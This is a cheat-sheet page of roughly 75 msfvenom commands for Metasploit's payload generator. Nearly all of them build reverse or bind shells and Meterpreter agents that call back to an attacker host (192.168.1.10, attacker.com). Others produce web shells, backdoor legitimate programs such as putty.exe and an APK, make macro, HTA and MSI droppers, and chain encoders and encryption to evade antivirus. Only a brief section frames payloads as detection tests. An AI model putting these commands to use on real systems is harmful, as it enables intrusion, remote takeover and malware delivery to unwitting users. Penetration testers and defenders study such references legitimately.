Skip to content

msfvenom

75 commands

Metasploit’s payload generator and encoder: builds shellcode, executables and scripts for many platforms and formats.

  • payloads
  • shellcode
  • Metasploit

Install msfvenom

sudo apt install metasploit-framework

Basic Listing6

msfvenom -l payloads

Lists all available payloads supported by the framework.

msfvenom -l encoders

Lists all available encoders for payload obfuscation.

msfvenom -l formats

Lists all supported output formats for executables and shellcode.

msfvenom -l platforms

Lists all target platforms available for payload generation.

msfvenom -l archs

Lists all processor architectures supported for payload generation.

msfvenom -l encrypt

Lists supported encryption algorithms for payload protection.

Windows Payload Generation4

msfvenom -p windows/exec CMD=calc.exe -f exe -o calc.exe

Generates a basic Windows executable that runs the calculator application.

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f exe -o shell.exe

Creates a stageless Windows reverse TCP shell executable.

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f exe -o meterpreter.exe

Generates a staged Windows Meterpreter reverse TCP executable.

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f exe -o agent64.exe

Creates a 64-bit Windows Meterpreter reverse shell executable.

Link

Linux Payload Generation2

msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f elf -o shell.elf

Generates a 32-bit Linux ELF binary for a reverse TCP shell.

Link
msfvenom -p linux/x64/shell_bind_tcp LPORT=4444 -f elf -o bind.elf

Creates a 64-bit Linux ELF binary for a bind TCP shell.

Link

macOS Payload Generation1

msfvenom -p osx/x64/shell_reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f macho -o shell.macho

Generates a macOS Mach-O binary for a reverse TCP shell.

Link

Android Payload Generation1

msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -o payload.apk

Creates an Android APK package containing a Meterpreter reverse shell.

Link

Web Payload Generation5

msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f raw -o shell.php

Generates a raw PHP file containing a Meterpreter reverse shell.

Link
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f asp -o shell.asp

Creates an ASP web shell payload for Windows IIS servers.

Link
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f aspx -o shell.aspx

Generates an ASPX web shell payload for modern Windows IIS servers.

Link
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f raw -o shell.jsp

Creates a JSP reverse shell payload for Java application servers.

Link
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f war -o shell.war

Packages a Java reverse shell into a WAR file for deployment.

Link

Scripting Payload Generation3

msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f raw -o shell.py

Generates a Python script containing a Meterpreter reverse shell.

Link
msfvenom -p cmd/unix/reverse_bash LHOST=192.168.1.10 LPORT=4444 -f raw -o shell.sh

Creates a Bash one-liner reverse shell for Unix-like systems.

Link
msfvenom -p cmd/unix/reverse_perl LHOST=192.168.1.10 LPORT=4444 -f raw -o shell.pl

Generates a Perl script one-liner for a reverse shell.

Link

Shellcode Generation5

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f c

Outputs the payload as a C language byte array for source code embedding.

Link
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f py

Outputs the payload as a Python byte string variable.

Link
msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f raw

Outputs raw binary shellcode directly to stdout.

Link
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f hex

Outputs the payload as a hexadecimal string.

Link
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f csharp

Outputs the payload formatted for C# source code.

Link

PowerShell Payloads2

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f ps1 -o payload.ps1

Generates a PowerShell script containing the payload.

Link
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f psh-reflection -o payload.ps1

Creates a PowerShell script using reflective injection techniques.

Link

Advanced Encoding2

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -e x86/shikata_ga_nai -f exe -o encoded.exe

Encodes the payload using the Shikata Ga Nai encoder.

Link
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -e x86/shikata_ga_nai -i 3 -f exe -o encoded_3x.exe

Iterates the encoding process 3 times for increased obfuscation.

Link

Bad Character Handling2

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.10 LPORT=4444 -b "\x00" -f c

Generates shellcode excluding the null byte (0x00) bad character.

Link
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.10 LPORT=4444 -b "\x00\x0a\x0d" -f python

Generates shellcode excluding null, line feed, and carriage return characters.

Link

Architecture Specific3

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 --arch x86 --platform windows -f exe -o x86.exe

Explicitly sets the architecture to x86 and platform to Windows.

Link
msfvenom -p linux/aarch64/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f elf -o arm64.elf

Generates a payload for 64-bit ARM (AArch64) Linux architectures.

Link
msfvenom -p linux/mipsbe/shell_reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f elf -o router.elf

Creates a payload for Big Endian MIPS architectures, common in routers.

Link

Template Injection3

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -x putty.exe -f exe -o putty_backdoor.exe

Injects the payload into an existing executable (putty.exe) as a new thread.

Link
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -x putty.exe -k -f exe -o putty_keep.exe

Injects payload into a template and attempts to keep the template functional.

Link
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -x game.apk -o game_backdoor.apk

Injects an Android payload into a legitimate APK file.

Link

NOP Sleds1

msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.1.10 LPORT=4444 -n 20 -f elf -o nop_sled.elf

Prepends a NOP (No Operation) sled of 20 bytes to the payload.

Link

Advanced Configuration2

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 ExitFunc=thread -f exe -o thread_exit.exe

Sets the ExitFunc to 'thread' to avoid crashing the host process upon exit.

Link
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 ExitFunc=process -f exe -o process_exit.exe

Sets the ExitFunc to 'process' to kill the entire process upon exit.

Link

Variable Output1

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f c -v my_sc

Outputs C shellcode with a custom variable name 'my_sc'.

Link

Payload Size Optimization1

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.10 LPORT=4444 --smallest -f exe -o small.exe

Attempts to generate the smallest possible payload using header optimization.

Link

Format Mixing1

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f raw | msfvenom --arch x86 --platform windows -e x86/shikata_ga_nai -a x86 -f exe -o piped.exe

Pipes a raw payload into a second msfvenom instance for encoding.

Link

Encryption2

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 --encrypt rc4 --encrypt-key s3cr3t -f exe -o rc4.exe

Encrypts the payload shellcode using RC4 with a specified key.

Link
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 --encrypt aes256 --encrypt-key 1234567890abcdef1234567890abcdef -f exe -o aes.exe

Encrypts the payload using AES256 for basic static evasion.

Link

Service Binaries1

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f exe-service -o service.exe

Generates a Windows executable designed to run as a background service.

Link

VBA Macro2

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f vba -o macro.txt

Generates VBA code suitable for embedding in Office macros.

Link
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f vba-exe

Generates VBA code that drops and executes an embedded EXE.

Link

HTTP/HTTPS Payloads2

msfvenom -p windows/meterpreter/reverse_http LHOST=192.168.1.10 LPORT=80 -f exe -o http_shell.exe

Creates a Meterpreter payload that communicates over HTTP port 80.

Link
msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.1.10 LPORT=443 -f exe -o https_shell.exe

Creates a Meterpreter payload that communicates over HTTPS port 443.

Link

Custom Options1

msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.1.10 LPORT=443 SessionCommunicationTimeout=0 ExitOnSession=false -f exe -o resilient.exe

Configures advanced session timeout and exit behaviors for the payload.

Link

Alphanumeric Shellcode1

msfvenom -p windows/exec CMD=calc.exe -e x86/alpha_mixed -f c

Encodes the payload to use only alphanumeric characters.

Link

Ruby Payload1

msfvenom -p ruby/shell_reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f raw -o shell.rb

Generates a Ruby script reverse shell.

Link

NodeJS Payload1

msfvenom -p nodejs/shell_reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f raw -o shell.js

Generates a NodeJS reverse shell script.

Link

HTA Payload1

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f hta-psh -o evil.hta

Creates an HTA file that executes PowerShell code.

Link

Msi Payload1

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f msi -o install.msi

Packages the payload into a Windows Installer (MSI) file.

Link

Shellcode Buffer Register1

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 BufferRegister=EAX -f c

Configures the shellcode to expect its own location in the EAX register.

Link

IPv6 Payload1

msfvenom -p windows/meterpreter/reverse_ipv6_tcp LHOST=fe80::20c:29ff:fe11:2233 LPORT=4444 -f exe -o ipv6.exe

Generates a Meterpreter payload utilizing IPv6 for the connection.

Link

Prepend Migrate1

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 PrependMigrate=true PrependMigrateProc=explorer.exe -f exe -o migrate.exe

Adds stub code to automatically migrate the payload into a stable process.

Link

Multi Encoder Chain1

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -e x86/shikata_ga_nai -i 5 -f raw | msfvenom -a x86 --platform windows -e x86/alpha_upper -i 2 -f exe -o chained.exe

Demonstrates chaining multiple encoders via piping for complex obfuscation.

Link

Java Payload1

msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f jar -o payload.jar

Creates a self-contained Java JAR file payload.

Link

DNS Payload1

msfvenom -p windows/meterpreter/reverse_dns LHOST=attacker.com LPORT=53 -f exe -o dns.exe

Generates a payload that tunnels traffic over DNS to evade firewalls.

Link

Python Bytecode1

msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f raw | python3 -m py_compile -

Generating raw python payload and compiling it to bytecode immediately.

Link

Raw Shellcode Injection1

msfvenom -p windows/x64/exec CMD=calc.exe -f raw > shellcode.bin

Outputs raw binary shellcode to a file for custom loader development.

Link

Red Team Delivery1

msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.1.10 LPORT=443 -f psh-net -o net_delivery.ps1

Generates a PowerShell script format suitable for network-based reflection.

Link

Blue Team Testing2

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f exe -o test_signature.exe

Creates a standard payload to test antivirus signature detection rates.

Link
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -e x86/shikata_ga_nai -i 10 -f exe -o test_heuristic.exe

Creates a highly encoded payload to test heuristic analysis engines.

Link

Exploit Dev2

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f js_le

Outputs payload as JavaScript Little Endian for browser exploit dev.

Link
msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.1.10 LPORT=4444 -b "\x00" -f dw

Outputs payload as 'dword' format for buffer overflow construction.

Link

Format Listing1

msfvenom --list-options -p windows/meterpreter/reverse_tcp

Lists all configurable options for a specific payload.

Link

Combined Advanced2

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -e x86/shikata_ga_nai -i 3 -b "\x00\xFF" -f c

Combines encoding, iterations, and bad character filtering in one C output.

Link
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.1.10 LPORT=443 --encrypt aes256 --encrypt-key 1234567890abcdef -f exe-service -o service_enc.exe

Generates an encrypted 64-bit HTTPS service binary for maximum persistence.

Link